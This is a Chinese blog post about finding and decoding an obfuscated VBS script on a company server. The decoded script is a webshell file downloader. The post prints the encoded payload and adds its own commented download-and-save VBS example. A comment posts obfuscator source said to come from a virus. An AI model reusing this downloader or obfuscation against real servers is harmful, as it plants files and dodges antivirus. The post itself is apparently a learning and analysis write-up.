VBS代码加密解密

今天无意中在公司服务器系统盘根目录下发现了一个可疑的vbs脚本。打开看看发现vbs代码是加密的,这更加证明这个脚本的可疑。

我对vbs代码只能算是了解,能看懂,但是编却编不出来。为了解密这个vbs代码,用搜索引擎搜索了半天,找到好多相关的资料,发现原来vbs如此强大。以这篇文章收集vbs代码供以后学习。

简单介绍一下什么是vbs。VBScript是Visual Basic Script的简称,有时也被缩写为VBS。VBScript是微软开发的一种脚本语言,可以看作是VB语言的简化版,与VBA的关系也非常密切。

它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。用于调试简单的VB语句非常方便。

下面是我发现的可疑代码

Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,48,41,41,13,10,83,101,116,32,120,80,111,115,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,120,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,116,101,44,48,13,10,120,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,101,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,101,116,46,77,111,100,101,61,51,13,10,101,116,46,84,121,112,101,61,49,13,10,101,116,46,79,112,101,110,40,41,13,10,101,116,46,87,114,105,116,101,40,120,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,101,116,46,83,97,118,101,84,111,70,105,108,101,32,97,108,44,50)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)

看到这段代码让我想起前几天解密了一个wordpress主题文件。从加密的结构上看差不多,前面是加密的字符串,后面跟着加密的算法,虽然语言不同,但是可以用类似的方法去解决。在网上搜索相关的vbs语法后直接用 msgbox替换掉 Execute并运行,未加密的vbs代码直接弹了出来

解密出来的代码原来是webshell提权用的vbs脚本,作用就是可以下载任意文件到网站的服务器上。加密是为了躲过杀毒软件的查杀。

说到webshell执行vbs脚本下载文件,其实有好多方法,举个例子(可能被有些杀毒软件当成病毒):

url = "http://127.0.0.1/test.exe" '网络上的文件地址或者程序  
saveas = "x.exe" '保存成的本地文件或者名字(自定义)  
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象  
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象  

Call xmlhttp.open("GET",url,False)'打开连接  
Call xmlhttp.send()'发送请求  

stream.mode = 3 '设置数据流为读写模式  
stream.type = 1 '设置数据流为二进制模式  
Call stream.open()'打开数据流  
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流  
Call stream.savetofile(saveas,2)'将数据流保存为文件  

'释放对象  
Set xmlhttp = Nothing  
Set stream = Nothing  
dim a '定义a变量  
set a=CreateObject("Wscript.Shell") '暂时屏蔽 创建应用脚本程序

上面那个可疑脚本的加密方式可以很好的躲过杀毒软件,在网上找到个类似的vbs脚本加密软件,加密出来的效果跟那个加密代码差不多。vbs脚本加密器下载 vbs脚本编辑器(vbs转换成exe)下载

VBS代码收集

唉!代码太多了,另起一篇吧!

《VBS代码加密解密》有8个想法

  1. 可以用暴风一号中的加密算法,这个算法我还没搞明白。下面是它的源码,我改动了的:
    RandomIzE
    set e706=crEateOBject(“ScRIPTIng.fiLesYsteMObjecT”)
    file=inputbox(“”)
    if file=”” then
    wscript.quit
    end if
    SET e707=e706.OpeNtexTFiLE(file,1)

    do UntIl e707.atendofstream ‘直到e707.atendofstream为假退出
    e708=tRIm(e707.rEAdLinE) ‘得到一行字符
    ‘IF left(e708,1)=”‘” then ‘若第一位为’就为真,否则为假,解密时用的
    IF left(e708,1)”‘” then ‘加密时用的
    ‘e709=e70e(MId(e708,2,LeN(e708)-3),-CInt(e70e(right(e708,2),-57))) ‘mid从e708的第2位起返回LeN(e708)-3个字符,right(e708,2)返回尾2个字符,-CInt返回一个数如-4
    e70B=INT(94*Rnd+1)
    ‘e70a=chr(39)&E70e(E709,E70B)&e70e(RIGhT(CHR(48)&e70b,2),57) ‘解密时用的
    e70a=chr(39)&E70e(e708,E70B)&e70e(RIGhT(CHR(48)&e70b,2),57) ‘加密时用的

    Else
    E70b=iNT(rnd*24000+40960)
    e70A=E711(strrEVerSE(e713(STrrEvERSe(UcaSe(e708)),E70b)))
    end If
    ‘e70C=e70C&E709&VbCrLf ‘解密时用的
    e70D=e70D&e70a&VbcRLF
    ‘e709=”” ‘解密时用的
    e70a=””
    loop

    fileedit=inputbox(“”)
    if fileedit= “” then
    wscript.quit
    end if
    SET e707=e706.oPeNTEXtFiLe(fileedit,2,true)
    e707.wrITE(e70D)
    e707.CloSE

    funCTiOn e70E(e70f,E70b) ‘第一次是 oo,-57
    FOr e710= 1 to Len(e70f) ‘len测长度第一次是2
    IF Asc(mid(e70f,e710,1))>31 and Asc(MID(e70F,e710,1))<127 then
    'asc返回字符对应的ascii码值,e70f的每一个字符对应的ASCII码值在31127之间
    e712=Asc(mid(e70f,e710,1))+e70b ‘第一次是 54,为’o’-57即111-57
    IF e712>126 OR e712<32 then '32为空格
    e712=e712-((e712-79)\Abs(e712-79))*95 ''第一次是 79
    eND If
    elSe
    e712=Asc(Mid(e70F,e710,1)) '则这个字符为空格
    EnD If
    e70e=E70e&chr(e712)
    NExt
    eNd fUNCtIOn

    FuncTiOn E711(E70f)
    fOr e710=1 To lEN(E70f)
    e712=mID(e70f,e710,1)
    iF iNt(Rnd*2) THEn
    e712=Lcase(E712)
    eNd if
    e711=E711&E712
    NeXt
    eND fUnCtIoN

    fUncTIOn E713(e70f,e70b)
    FOr e710=0 To 13
    E70F=rEPlace(e70F,hex(&He706+E710),hex(E70B+e710)) 'hex表示返回十六进制
    NeXT
    e713=E70f
    ENd fuNcTioN

发表评论

电子邮件地址不会被公开。 必填项已用*标注